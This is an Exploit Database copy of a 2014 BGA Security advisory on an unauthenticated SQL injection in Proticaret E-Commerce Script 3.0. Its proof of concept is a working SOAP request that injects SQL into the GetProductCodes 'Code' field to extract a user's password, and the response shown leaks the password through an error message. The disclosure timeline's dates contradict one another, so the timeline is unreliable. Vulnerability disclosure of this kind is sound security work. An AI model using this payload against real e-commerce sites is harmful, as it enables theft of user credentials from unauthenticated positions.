Proticaret E-Commerce Script 3.0 – SQL Injection (2)

• Exploit Database
• 15 阅读

• 作者： BGA Security
  日期： 2014-11-17
• 类别：

  • webapps
  平台：

  • xml
• 来源：https://www.exploit-db.com/exploits/35275/

• Document Title:
  ============
  Proticaret E-Commerce Script v3.0 >= SQL Injection
  
  Release Date:
  ===========
  13 Nov 2014
  
  Product & Service Introduction:
  ========================
  Proticaret is a free e-commerce script.
  
  Abstract Advisory Information:
  =======================
  BGA Security Team discovered an SQL injection vulnerability in Proticaret E-Commerce Script v3.0
  
  Vulnerability Disclosure Timeline:
  =========================
  20 Oct 2014:Contact with Vendor
  20 Nov 2014:Vendor Response
  June 26, 2014 :Patch Released
  13 Nov 2014:Public Disclosure
  
  Discovery Status:
  =============
  Published
  
  Affected Product(s):
  ===============
  Promist Bilgi İletişim Teknolojileri A.Ş
  Product: Proticaret E-commerce Script v3.0 >=
  
  Exploitation Technique:
  ==================
  Remote, Unauthenticated
  
  
  Severity Level:
  ===========
  Critical
  
  Technical Details & Description:
  ========================
  SQL Injection
  
  Proof of Concept (PoC):
  ==================
  Proof of Concept
  
  Request:
  <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
  <soapenv:Header/>
  <soapenv:Body>
   <tem:GetProductCodes>
  <!--Optional:-->
  <tem:Code>1' from Users where (select top 1 password from users where userId=101)>1--</tem:Code>
  <!--Optional:-->
  <tem:StartWith>?</tem:StartWith>
   </tem:GetProductCodes>
  </soapenv:Body>
  </soapenv:Envelope>
  
  Response:
  
  <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <soap:Body>
   <soap:Fault>
  <faultcode>soap:Server</faultcode>
  
  <faultstring>System.Web.Services.Protocols.SoapException: Server 
  was unable to process request. ---> 
  System.Data.SqlClient.SqlException: Conversion failed when converting 
  the nvarchar value 'secretpassword' to data type int.
  at System.Data.SqlClient.SqlConnection.OnError(SqlException exception, Boolean breakConnection, Action`1 wrapCloseInAction)
  
  at System.Data.SqlClient.SqlInternalConnection.OnError(SqlException 
  exception, Boolean breakConnection, Action`1 wrapCloseInAction)
  at
  
  System.Data.SqlClient.TdsParser.ThrowExceptionAndWarning(TdsParserStateObject
  stateObj, Boolean callerHasConnectionLock, Boolean asyncClose)
  at
  System.Data.SqlClient.TdsParser.TryRun(RunBehavior runBehavior, 
  SqlCommand cmdHandler, SqlDataReader dataStream, BulkCopySimpleResultSet
  bulkCopyHandler, TdsParserStateObject stateObj, Boolean& 
  dataReady)
  at System.Data.SqlClient.SqlDataReader.TryHasMoreRows(Boolean& moreRows)
  at System.Data.SqlClient.SqlDataReader.TryReadInternal(Boolean setTimeout, Boolean& more)
  at System.Data.SqlClient.SqlDataReader.Read()
  at ASPNetPortal.ProductService.GetProductCodes(String Code, String StartWith)
  --- End of inner exception stack trace ---</faultstring>
  <detail/>
   </soap:Fault>
  </soap:Body>
  </soap:Envelope>
  
  
  Solution Fix & Patch:
  ================
  Apply the patch for v3.0
  
  Security Risk:
  ==========
  The risk of the vulnerabilities above estimated as critical.
  
  Credits & Authors:
  ==============
  Bilgi Güvenliği Akademisi
  
  Disclaimer & Information:
  ===================
  The
  information provided in this advisory is provided as it is without any 
  warranty. BGA disclaims allwarranties, either expressed or implied, 
  including the warranties of merchantability and capability for a 
  particular purpose. BGA or its suppliers are not liable in any case of 
  damage, including direct, indirect, incidental, consequential loss of 
  business profits or special damages.
  
  Domain:www.bga.com.tr
  Social:twitter.com/bgasecurity
  Contact:bilgi@bga.com.tr
  
  Copyright © 2014 | BGA